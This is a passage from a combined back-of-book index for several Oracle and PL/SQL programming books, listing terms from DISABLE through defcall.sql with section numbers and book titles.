DICTIONARY_OBJ_TYPE attribute, schema-level events: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
DIFFERENCES procedure: 15.5.2.1. The DBMS_RECTIFIER.DIFFERENCES procedure, Oracle Built-in Packages
DISABLE procedure
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
6.1.2.2. The DBMS_OUTPUT.DISABLE procedure, Oracle Built-in Packages
C.9.1. The DISABLE procedure, Oracle PL/SQL Programming
DISABLED function
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.4.3. The DBMS_DEFER_SYS.DISABLED function, Oracle Built-in Packages
DLL (Dynamic Link Library): 1.3.8.4. InternetLite server and API, Oracle Web Applications
DMBS_ALERT package: C.2. DBMS_ALERT, Oracle PL/SQL Programming
DMBS_LOCK page
SLEEP procedure: 17.5.6.1. A futile first effort, Advanced Oracle PL/SQL Programming with Packages
DML (Data Manipulation Language)
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
encapsulating in object views: 20.2. INSTEAD OF Triggers, Oracle PL/SQL Programming
encapsulating in packages: 18.5.4. Approach 4: Use an Object and a PL/SQL Container Package, Oracle PL/SQL Programming
object privileges and: 18.3.7.2. DML, Oracle PL/SQL Programming
DML statements
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
19.5. DML Operations, Advanced Oracle PL/SQL Programming with Packages
1.4.4.2. Support for DDL and dynamic SQL, Oracle PL/SQL Programming
and tables: 10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
propagating to remote sites: 15.3.4. Replication Support with DBMS_REPCAT, Oracle Built-in Packages
propagating to replicated tables: 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
DNS (Domain Name Server): 2.2.1. The TCP/IP Network, Oracle Web Applications
DOS
1.2.1.1. Finding what you need, Oracle Web Applications
DOS delimiter: 13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
DOUBLE PRECISION subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
DO_DEFERRED_REPCAT_ADMIN procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure, Oracle Built-in Packages
DROP JAVA statement: 9.1. Oracle8i and Java, Guide to Oracle8i Features
DROP TYPE statement: 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types, Oracle PL/SQL Programming
DROP command
20.3.2. DROP: Dropping Views and Triggers, Oracle PL/SQL Programming
21.3.3. DROP: Dropping Libraries, Oracle PL/SQL Programming
23.5.3. Changing Stored Objects, Oracle PL/SQL Programming
DROP statement
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
DROP_<conflicttype>_RESOLUTION
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
DROP_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.2.2. The DBMS_REPCAT.DROP_COLUMN_GROUP procedure, Oracle Built-in Packages
DROP_DELETE_RESOLUTION procedure: 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
DROP_GROUPED_COLUMN procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.3.2. The DBMS_REPCAT.DROP_GROUPED_COLUMN procedure, Oracle Built-in Packages
DROP_MASTER_REPGROUP procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure, Oracle Built-in Packages
DROP_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
DROP_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs, Guide to Oracle8i Features
7.3.6. DROP_POLICY: Dropping a Policy, Guide to Oracle8i Features
DROP_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.4.1. The DBMS_REPCAT.DROP_PRIORITY procedure, Oracle Built-in Packages
DROP_PRIORITY_<datatype> procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.4.2. The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure, Oracle Built-in Packages
DROP_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure, Oracle Built-in Packages
DROP_QUEUE procedure
C.3.2.5. The DROP_QUEUE procedure, Oracle PL/SQL Programming
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.4.2. The DBMS_AQADM.DROP_QUEUE procedure, Oracle Built-in Packages
DROP_QUEUE_TABLE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.4.3. The DBMS_AQADM.DROP_QUEUE_TABLE procedure, Oracle Built-in Packages
C.3.2.2. The DROP_QUEUE_TABLE procedure, Oracle PL/SQL Programming
DROP_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.2.2. The DBMS_REPCAT.DROP_SITE_PRIORITY procedure, Oracle Built-in Packages
DROP_SITE_PRIORITY_SITE procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure, Oracle Built-in Packages
DROP_SNAPSHOT procedure: C.13.1. The DROP_SNAPSHOT procedure, Oracle PL/SQL Programming
DROP_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.2.3. The DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP procedure, Oracle Built-in Packages
DROP_SNAPSHOT_REPOBJECT procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure, Oracle Built-in Packages
DROP_UNIQUE_RESOLUTION procedure: 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
DROP_UPDATE_RESOLUTION procedure: 16.5.1.2. The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
DTD (document type definition): 9.3. The Document Type Definition (DTD), Oracle Web Applications
DUMP function: 13.3.1. The DUMP function, Oracle PL/SQL Programming
DUP_VAL_ON_INDEX exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
Data Definition Language (DDL)
19.4.1. DDL Operations , Advanced Oracle PL/SQL Programming with Packages
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i), Guide to Oracle8i Features
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
Data Definition Language statements: (see DDL statements)
Data Manipulation Language (DML)
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
Data Manipulation Language statements: (see DML statements)
Database Access Descriptor (DAD)
2.2.5. The Uniform Resource Locator, Oracle Web Applications
2.3. Content Delivery Model, Oracle Web Applications
3.2.2. Configuring a Database Access Descriptor (DAD), Oracle Web Applications
parameters: 3.2.2.1. DAD parameters, Oracle Web Applications
Default (Home) Page parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Developer/2000
18.5.5. Implications for Developer/2000, Oracle PL/SQL Programming
1.3.8.1. Oracle Lite, Oracle Web Applications
Document Access Path parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Document Access Procedure parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Document Table parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Domain Name Server (DNS): 2.2.1. The TCP/IP Network, Oracle Web Applications
Dynamic Link Library (DLL): 1.3.8.4. InternetLite server and API, Oracle Web Applications
dangling REFs: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
data
abstract datatypes: (see ADTs)
abstraction: 9.1.3.1. Data abstraction, Oracle PL/SQL Programming
changing accessibility of: 1.4.4.2. Switching between public and private, Advanced Oracle PL/SQL Programming with Packages
combining scalars and aggregates: 17.8.2. Combining Scalar and Aggregate Values, Oracle PL/SQL Programming
controlling with packages: 1.6.1.2. Maintain control over your data structures, Advanced Oracle PL/SQL Programming with Packages
denormalizing with nested records: 9.7.4. Denormalizing Program Data with Nested Records, Oracle PL/SQL Programming
error, consistency of: 22.2.1.1. Recording consistent error data, Advanced Oracle PL/SQL Programming with Packages
errors by implicit cursors: 6.3.2.2. Vulnerability to data errors, Oracle PL/SQL Programming
from packages, performance and: 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values, Oracle PL/SQL Programming
global
16.1.4. Object Persistence, Oracle PL/SQL Programming
16.5.2. Global Within a Single Oracle Session, Oracle PL/SQL Programming
22.5.4. Avoid Global Variables and Data Structures , Oracle PL/SQL Programming
2.10.3. Simplifying Package Interfaces
private: 16.5.4. Global Private Data, Oracle PL/SQL Programming
public: 16.5.3. Global Public Data, Oracle PL/SQL Programming
managing with Oracle: 1.3.9. Oracle interMedia, Oracle Web Applications
object model and: 18.1.5.4. Combining data with behavior , Oracle PL/SQL Programming
package
(see also packages)
16.5. Package Data, Oracle PL/SQL Programming
program: (see variables)
program assumptions on: 3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
records: (see records)
supporting with overloading
2.8.1.1. Supporting many data combinations, Advanced Oracle PL/SQL Programming with Packages
2.8.1.3. Unambiguous, simple arguments, Advanced Oracle PL/SQL Programming with Packages
tuning access to: 25.3. Tuning Access to Your Data, Oracle PL/SQL Programming
types of: 1.1. The Internet Grows Up, Oracle Web Applications
verifying: 24.2.7. Test All Assumptions, Oracle PL/SQL Programming
data abstraction: 18.1.5.3. Abstraction , Oracle PL/SQL Programming
data block addresses
block numbers, returning
9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function, Oracle Built-in Packages
10.1.2.6. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK function, Oracle Built-in Packages
constructing: 10.1.2.16. The DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS function, Oracle Built-in Packages
dropped files and: 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
file numbers, returning: 10.1.2.7. The DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE function, Oracle Built-in Packages
data dictionary
external procedure entries: 21.6.1. Data Dictionary, Oracle PL/SQL Programming
for managing collections: 19.8.2. Data Dictionary, Oracle PL/SQL Programming
object types entries: 18.6.1. Data Dictionary, Oracle PL/SQL Programming
object views entries: 20.7.1. Data Dictionary, Oracle PL/SQL Programming
data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
data models: 8.3.2. Data Model, Oracle Web Applications
data structures
synchronizing: 1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
OWA_TEXT package: 7.2.1.1. Data structures, Oracle Web Applications
database administration
1.3.5. WebDB, Oracle Web Applications
3.1.1. Database Administration, Oracle Web Applications
database administrators (DBA)
7.6.2. System-Level Access Control, Guide to Oracle8i Features
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
database code repository: 12.2.2. Database Source or Target, Advanced Oracle PL/SQL Programming with Packages
database event publication feature: 6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
database events: (see alerts)
database intengration: 2.4. Database Integration, Oracle Web Applications
database links
advanced replication and: 15.1.2. Granting and Revoking Surrogate SYS Accounts, Oracle Built-in Packages
closing: 11.1.4.1. The DBMS_SESSION.CLOSE_DATABASE_LINK procedure, Oracle Built-in Packages
enhancement: 11.1.5.5. The close_links procedure, Oracle Built-in Packages
deferred transactions and: 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure, Oracle Built-in Packages
job execution and: 13.1.2.2. The what parameter, Oracle Built-in Packages
job scheduling and: 13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
names for
parsing: 10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure, Oracle Built-in Packages
returning: 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
database logins, tracking: 6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
database object wizards: 3.1.2.1. Building database objects, Oracle Web Applications
database objects: 2.5.2. Database Objects, Oracle Web Applications
database security: 2.5. Database Security Review, Oracle Web Applications
objects: 2.5.2. Database Objects, Oracle Web Applications
privileges: 2.5.3. Privileges, Oracle Web Applications
users: 2.5.1. Database Users, Oracle Web Applications
database segments, extended ROWID format and: 9.1.2. ROWID Concepts, Oracle Built-in Packages
database tables: (see tables)
database-level event triggers
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
databases
(see also remote databases)
5.1.4. Propagation Features, Oracle Built-in Packages
PLVcat tables: 18.2.2. The PLVcat Database Tables, Advanced Oracle PL/SQL Programming with Packages
administration of: About the Contents, Oracle PL/SQL Programming
communication between sessions: C.10. DBMS_PIPE, Oracle PL/SQL Programming
cursor-based access to: 1.4.3.8. Cursor-based access to the database, Oracle PL/SQL Programming
events, receiving notification of: C.2. DBMS_ALERT, Oracle PL/SQL Programming
locking records: 6.11. SELECT FOR UPDATE in Cursors, Oracle PL/SQL Programming
managing code in: 23. Managing Code in the Database, Oracle PL/SQL Programming
shutdown and job queue: 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS, Oracle Built-in Packages
space utilization: 12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
structure for objects: 18.2.2.2. DDL usage , Oracle PL/SQL Programming
synchroniztion with columns: 4.5.1.1. Synchronization with database columns, Oracle PL/SQL Programming
triggers: (see triggers)
tuning of: About the Contents, Oracle PL/SQL Programming
version information: 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
datatype indicators, HTP package: 7.1.1. HTP: Generating HTML, Oracle Web Applications
datatype mappings, legal: 9.8.3. Mapping Datatypes, Guide to Oracle8i Features
datatype value, PL/SQL: 6.2.2.1. Declaring a variable, Oracle Web Applications
datatypes
(see also types)
4.2. Scalar Datatypes , Oracle PL/SQL Programming
Oracle8
2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
2.4.1. Some Restrictions, Oracle Built-in Packages
PL/SQL Version 2.0: B.2.1. No Server-Side PL/SQL Datatypes, Oracle PL/SQL Programming
abstract (see abstract datatypes)
anchored
1.6.1. Anchored declarations, Oracle PL/SQL Programming
4.5. Anchored Declarations, Oracle PL/SQL Programming
collections as: 19.2.2. Collections in PL/SQL, Oracle PL/SQL Programming
constrained/unconstrained: 4.4.1. Constrained Declarations, Oracle PL/SQL Programming
converting
performance and: 25.4.7. Avoid Type Conversions When Possible, Oracle PL/SQL Programming
converting between
4.2.8. Conversion Between Datatypes, Oracle PL/SQL Programming
14. Conversion Functions, Oracle PL/SQL Programming
declaring in tables
10.4.1. Defining the Table TYPE, Oracle PL/SQL Programming
10.8.1. PL/SQL Tables of Records, Oracle PL/SQL Programming
external procedures and: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
determining (example): 2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
external: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
for LOB variables: 1.4.7.6. Large object support, Oracle PL/SQL Programming
for LOBs: 4.2.7. LOB Datatypes, Oracle PL/SQL Programming
for overloaded modules: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
message structure and: 5.1.1. General Features, Oracle Built-in Packages
numeric values for: 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function, Oracle Built-in Packages
DBMS_DEFER_QUERY: 17.4.1.2. DBMS_DEFER_QUERY nonprogram elements, Oracle Built-in Packages
DESCRIBE_COLUMNS: 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
DESCRIBE_PROCEDURE: 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
GET_ARG_TYPE: 17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function, Oracle Built-in Packages
UNPACK_MESSAGE: 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure, Oracle Built-in Packages
object: (see object types)
of stored functions parameters: 17.3. Requirements for Stored Functions in SQL, Oracle PL/SQL Programming
programmer-defined: (see subtypes)
standardizing with %TYPE: 4.7.8. Use %TYPE to Standardize Nondatabase Declarations, Oracle PL/SQL Programming
date
12. Date Functions, Oracle PL/SQL Programming
14.3.5. Building a Date Manager, Oracle PL/SQL Programming
DATE datatype: 4.2.5. The Date-Time Datatype, Oracle PL/SQL Programming
changing millenia: 14.3.3. RR: Changing Millenia, Oracle PL/SQL Programming
converting strings to/from
14.1. Conversion Formats, Oracle PL/SQL Programming
14.2.6. The TO_CHAR function (date conversion), Oracle PL/SQL Programming
14.2.8. The TO_DATE function, Oracle PL/SQL Programming
range: 14.3.4. Using TO_CHAR to Create a Date Range, Oracle PL/SQL Programming
system: 12.1.7. The SYSDATE function, Oracle PL/SQL Programming
date and time: 6.4.3. Retrieving Date and Time, Advanced Oracle PL/SQL Programming with Packages
date format mask
5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
6.2. Setting the PL/Vision Date Mask, Advanced Oracle PL/SQL Programming with Packages
7.1.2. Displaying Dates, Advanced Oracle PL/SQL Programming with Packages
elapsed time
5.27.5. Retrieving and displaying elapsed time, Advanced Oracle PL/SQL Programming with Packages
14.3. Retrieving and Displaying the Elapsed Time, Advanced Oracle PL/SQL Programming with Packages
elapsed time of: 5.27. PLVtmr: Program Performance Analyzer, Advanced Oracle PL/SQL Programming with Packages
now function: 5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
timer: 14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
timer script: 16.2.9. Generating a Timer Script, Advanced Oracle PL/SQL Programming with Packages
updating in tables: 19.5.3. Executing dynamic UPDATEs, Advanced Oracle PL/SQL Programming with Packages
date format (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
date warehousing: 1.1. The Internet Grows Up, Oracle Web Applications
date-to/from-raw conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
datemask function
5.3.3. Setting the date format mask, Advanced Oracle PL/SQL Programming with Packages
6.2. Setting the PL/Vision Date Mask, Advanced Oracle PL/SQL Programming with Packages
db package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
db_block_buffers function: 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
dbgextp.sql script: 21.6.2. Rules and Warnings About External Procedures, Oracle PL/SQL Programming
dblock package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
4.1.4.1. The dblock package, Oracle Built-in Packages
dblock.sql : 4.1.4.1. The dblock package, Oracle Built-in Packages
dbmsalrt.sql script
3.2.1. Getting Started with DBMS_ALERT, Oracle Built-in Packages
3.2.3. DBMS_ALERT Examples, Oracle Built-in Packages
dbmsapin.sql script: 7.1. Getting Started with DBMS_APPLICATION_INFO , Oracle Built-in Packages
dbmsdefr.sql script
17.2.1. Getting Started with DBMS_DEFER_SYS, Oracle Built-in Packages
17.3.1. Getting Started with DBMS_DEFER, Oracle Built-in Packages
17.4.1. Getting Started with DBMS_DEFER_QUERY, Oracle Built-in Packages
dbmsdesc.sql script
10.2.1. Getting Started with DBMS_DESCRIBE, Oracle Built-in Packages
10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
dbmsgen.sql script: 15.6.1. Getting Started with DBMS_REPUTIL, Oracle Built-in Packages
dbmsjob.sql script: 13.1. Getting Started with DBMS_ JOB, Oracle Built-in Packages
dbmslob.sql script: 8.1. Getting Started with DBMS_LOB, Oracle Built-in Packages
dbmslock.sql script: 4.1.1. Getting Started with DBMS_LOCK, Oracle Built-in Packages
dbmsoctk.sql script: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
dbmsofln.sql script
14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT, Oracle Built-in Packages
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
dbmsoutp.sql script: 6.1.1. Getting Started with DBMS_OUTPUT, Oracle Built-in Packages
dbmspbp.sql file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
dbmspipe.sql script: 3.1.1. Getting Started with DBMS_PIPE, Oracle Built-in Packages
dbmspool.sql script: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
dbmsrand.sql script: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
dbmsrepc.sql script
14.4.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
15.1.1. Getting Started with DBMS_REPCAT_AUTH, Oracle Built-in Packages
15.2.1. Getting Started with DBMS_REPCAT_ADMIN, Oracle Built-in Packages
15.3.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
16.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
dbmssnap.sql script
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
dbmssql.sql script: 2.2.1. Creating the DBMS_SQL Package, Oracle Built-in Packages
dbmsstdx.sql file: 1.4.2. The DBMS_STANDARD Package, Oracle Built-in Packages
dbmsutil.sql script
1.4. Examining Built-in Package Source Code, Oracle Built-in Packages
11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
dbparm package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
dbparm.spp : 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
dbpipe package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
dbpipe.sql
3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function, Oracle Built-in Packages
3.1.3.4. The DBMS_PIPE.PURGE procedure, Oracle Built-in Packages
dbstart script: 12.2.4.1. Pinning packages automatically, Oracle Built-in Packages
dbtab constant: 5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
dbver.spp : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
ddl procedure
5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
19.4.1.1. Generic DDL interface, Advanced Oracle PL/SQL Programming with Packages
19.5.6.3. Parse for delete, Advanced Oracle PL/SQL Programming with Packages
deadlock example: 2.4. Rules and Restrictions, Guide to Oracle8i Features
deadlocks, notification of: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
debug procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
debugging
(see also tracing; troubleshooting)
2.6.3.1. The test/debug cycle in PL/SQL, Advanced Oracle PL/SQL Programming with Packages
5.28.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
2.5.2. Multiline Comment Syntax, Oracle PL/SQL Programming
24. Debugging PL/SQL, Oracle PL/SQL Programming
7.4.1.1. Debugging, Oracle Web Applications
DBMS_OUTPUT used for: 6.1. DBMS_OUTPUT: Displaying Output, Oracle Built-in Packages
DBMS_PIPE used for
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
3.1.2.2. Nontransactional communications, Oracle Built-in Packages
3.1.7.4. Implementing a server program, Oracle Built-in Packages
external procedures: 21.6.2. Rules and Warnings About External Procedures, Oracle PL/SQL Programming
finding code by line number: 23.6.6. Finding the Code for a Line Number, Oracle PL/SQL Programming
last row fetched and: 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
messages about, in packages: 24.2.9. Build Debugging Messages into Your Packages, Oracle PL/SQL Programming
strategies for: 24.2. Debugging Tips and Strategies, Oracle PL/SQL Programming
tracing PL/SQL execution: 26. Tracing PL/SQL Execution, Oracle PL/SQL Programming
decimal datatypes
4.2.1.2. Decimal numeric datatypes, Oracle PL/SQL Programming
4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
declaration section, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
declarations
FOR loop indexes: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
anchored
1.6.1. Anchored declarations, Oracle PL/SQL Programming
4.5. Anchored Declarations, Oracle PL/SQL Programming
commenting: 3.6.5. Comment Declaration Statements, Oracle PL/SQL Programming
formatting: 3.1.5. Formatting Your Declarations, Oracle PL/SQL Programming
forward: 15.9. Forward Declarations, Oracle PL/SQL Programming
in packages
16.3. The Package Specification, Oracle PL/SQL Programming
16.4.1. Declare in Specification or Body, Oracle PL/SQL Programming
of record TYPEs: 9.4.1. Declaring Programmer-Defined Record TYPEs, Oracle PL/SQL Programming
of records
9.2.1. Declaring Records with the %ROWTYPE Attribute, Oracle PL/SQL Programming
9.4.2. Declaring the Record, Oracle PL/SQL Programming
of tables: 10.4. Declaring a PL/SQL Table, Oracle PL/SQL Programming
subtype: 4.6.1. Declaring Subtypes, Oracle PL/SQL Programming
unconstrained: 15.6.1. Defining the Parameters, Oracle PL/SQL Programming
variable: 4.4. Variable Declarations, Oracle PL/SQL Programming
declarative programming: 19.2. Declarative Programming in PL/SQL, Advanced Oracle PL/SQL Programming with Packages
declaring
anchored declarations: 2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
collection datatypes: 19.3. Syntax for Declaring Collection Datatypes, Oracle PL/SQL Programming
cursor variables: 6.12.3. Declaring REF CURSOR Types and Cursor Variables, Oracle PL/SQL Programming
cursors
16.2.6. Generating a Cursor Declaration, Advanced Oracle PL/SQL Programming with Packages
6.4. Declaring Cursors, Oracle PL/SQL Programming
exceptions raised in declarations: 8.5.3. Exceptions Raised in a Declaration, Oracle PL/SQL Programming
packages: 1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
parameters: 21.4.4. Correct Declaration of Properties, Oracle PL/SQL Programming
private before public: 2.2.1. Choosing the Order of Elements, Advanced Oracle PL/SQL Programming with Packages
variables
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
2.10.1. Gaining Control of Your Data, Advanced Oracle PL/SQL Programming with Packages
deep copies: 7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
default
PLVlog: 21.1.5.4. Setting the default "rollback to" behavior, Advanced Oracle PL/SQL Programming with Packages
constructor method: 18.3.1. About Object Types, Oracle PL/SQL Programming
date format mask: 6.2. Setting the PL/Vision Date Mask, Advanced Oracle PL/SQL Programming with Packages
directory/folder: 5.11.4. Setting the default directory or location, Advanced Oracle PL/SQL Programming with Packages
line separator: 7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
message table names: 9.2.2. Batch Loading of Message Text, Advanced Oracle PL/SQL Programming with Packages
parameter values
B.2.4. No Default Parameter Values, Oracle PL/SQL Programming
15.6.5. Default Values, Oracle PL/SQL Programming
22.7.5. Default Values and Remote Procedure Calls, Oracle PL/SQL Programming
records: 9.6.2. Record Initialization, Oracle PL/SQL Programming
source WHERE clause: 12.4. The Source WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
string function values: 16.2.3.3. Default values for string functions , Advanced Oracle PL/SQL Programming with Packages
values for variables: 4.4.3. Default Values, Oracle PL/SQL Programming
default directory: 13.2.2. Setting the Default Directory, Advanced Oracle PL/SQL Programming with Packages
default mime type parameter, server settings: 3.2.3.1. Server settings, Oracle Web Applications
default values, PL/SQL
6.1.3. Parameters, Oracle Web Applications
6.2.2.1. Declaring a variable, Oracle Web Applications
defcall.sql : 17.3.2.2. The DBMS_DEFER.CALL procedure, Oracle Built-in Packages
